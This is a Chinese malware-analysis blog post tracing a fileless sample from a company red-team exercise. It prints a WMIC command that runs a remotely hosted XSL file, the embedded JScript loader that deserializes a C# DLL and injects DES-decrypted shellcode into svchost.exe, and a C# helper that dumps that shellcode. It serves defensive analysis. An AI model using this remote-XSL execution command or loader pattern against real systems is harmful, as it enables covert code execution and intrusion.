一次红蓝对抗无文件攻击溯源

FFE4 乌雲安全

文章作者：FFE4

原文地址：

https://blog.csdn.net/cssxn/article/details/88956732

0x01 简述

前段时间参加公司举办的红蓝对抗演习，帮助蓝军分析并溯源样本。拿到样本时，就一个xsl类型的文件，和一个用来执行该样本的命令行，如下所示：

C:/Windows/SysWOW64/wbem/WMIC.exe os get /format:"//ip/scripts/1.xsl"

可以看出，是通过白利用技术，通过wmic来执行的这个恶意的xsl文件，想了解更多，可以参考这篇文章

https://3gstudent.github.io/3gstudent.github.io/%E5%88%A9%E7%94%A8wmic%E8%B0%83%E7%94%A8xsl%E6%96%87%E4%BB%B6%E7%9A%84%E5%88%86%E6%9E%90%E4%B8%8E%E5%88%A9%E7%94%A8/

0x02 xsl文件分析

XSL文件是一种可扩展样式语言，可以通过内置标签来解析执行其他脚本语言，如：Javascript，VBscript等。

https://zh.wikipedia.org/wiki/%E5%8F%AF%E6%89%A9%E5%B1%95%E6%A0%B7%E5%BC%8F%E8%AF%AD%E8%A8%80

通过分析发现，该xsl中内嵌的远不止JS脚本这么简单！内嵌的js脚本会修改当前进程的shell环境为.net的环境，然后通过解密base64硬编码的PE文件，该文件是由C#编写的DLL文件。

然后以.NET的shell环境来调用.net的函数，并把硬编码的dll文件字节码反序列化成C#类对象，调用该类对象中的名为：call的函数，通过js调用.net函数，参考：

https://github.com/tyranid/DotNetToJScript

修改Shell环境为.NET：

function autoversion(){var shell = new ActiveXObject('WScript.Shell');        ver = 'v4.0.30319';try {        shell.RegRead('HKLM\\SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319\\');        } catch(e) {        ver = 'v2.0.50727';        }        shell.Environment('Process')('COMPLUS_Version') = ver;    }

调用.net类对象的call函数，可以看到call函数传入一个系统进程名字，svchost.exe，另一个是base64硬编码的一段加密的code

run函数：

function run(){        var serialized_obj = 'base64硬编码的C# DLL文件';        var cryptedcode = 'Base64加密的shellcode';        var entry_class = 'test';         try        {            autoversion();            var stm = base64ToStream(serialized_obj);            var fmt = new ActiveXObject('System.Runtime.Serialization.Formatters.Binary.BinaryFormatter');            var al = new ActiveXObject('System.Collections.ArrayList');            var d = fmt.Deserialize_2(stm);            al.Add(fmt.SurrogateSelector);            var o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class);            o.call('svchost.exe', cryptedcode);        }        catch (e)        {        }         return 0;    }

serialized_obj变量中保存的是base64硬编码的dll文件，首先通过Chrome浏览器自带的调试器，还原出完整的base64加密字符串，点击右下角的copy。

然后使用010Editor自带的base64decode脚本解密该密文

解密base64后，切换个hex模式，往下拉动滚动条，可以看到文件的MZ头，删除前面的垃圾内容，保留从MZ头到末尾即可还原出DLL文件

可以看到是.net2.0库写的dll

0x03 C# DLL文件分析

使用ILSpy工具反编译刚才dump出来的C# DLL文件，可以看到内部有个test类，类中果然有个call的方法

call（svchost，base64密文），Call方法中调用 DESEncrypt.Decrypt(b64code, test.key);方法，解密base64密文，然后使用硬编码的DES KEY：***ATeam 解密shellcode

最后调用CodeLoader.CreateProcessWithCode(path, code); 通过分析CreateProcessWithCode函数，发现是通过创建傀儡进程的方式注入shellcode并运行的，了解更多，请参考

https://www.4hou.com/technology/8869.html

0x04 shellcode分析

通过上面的分析，可以写一个C#程序，把注入到进程中的shellcode dump出来

using System;using System.Collections.Generic;using System.IO;using System.Linq;using System.Security.Cryptography;using System.Text;using System.Threading.Tasks; namespace test{    class Program    {        static string key = "xxx";        static string cryptedcode = "base64->des加密的shellcode";         public static byte[] Decrypt(string pToDecrypt, string sKey)        {            DESCryptoServiceProvider dESCryptoServiceProvider = new DESCryptoServiceProvider();            byte[] array = Convert.FromBase64String(pToDecrypt);            dESCryptoServiceProvider.Key = Encoding.ASCII.GetBytes(sKey);            dESCryptoServiceProvider.IV = Encoding.ASCII.GetBytes(sKey);            MemoryStream memoryStream = new MemoryStream();            CryptoStream cryptoStream = new CryptoStream(memoryStream, dESCryptoServiceProvider.CreateDecryptor(), CryptoStreamMode.Write);            cryptoStream.Write(array, 0, array.Length);            cryptoStream.FlushFinalBlock();            return memoryStream.ToArray();        }         static void Main(string[] args)        {            byte[] code =  Decrypt(cryptedcode, key);           string filePath = Directory.GetCurrentDirectory() + "\\123.txt";           if (File.Exists(filePath))               File.Delete(filePath);            FileStream fs = new FileStream(filePath, FileMode.Create);           fs.Write(code, 0, code.Length);           fs.Flush();           fs.Close();                         int n = 123;        }    }}

分析shellcode后，发现是个loader程序，对应的C2地址，由于这边IP访问限制，访问不了总部那边的网络

继续滑动看下一个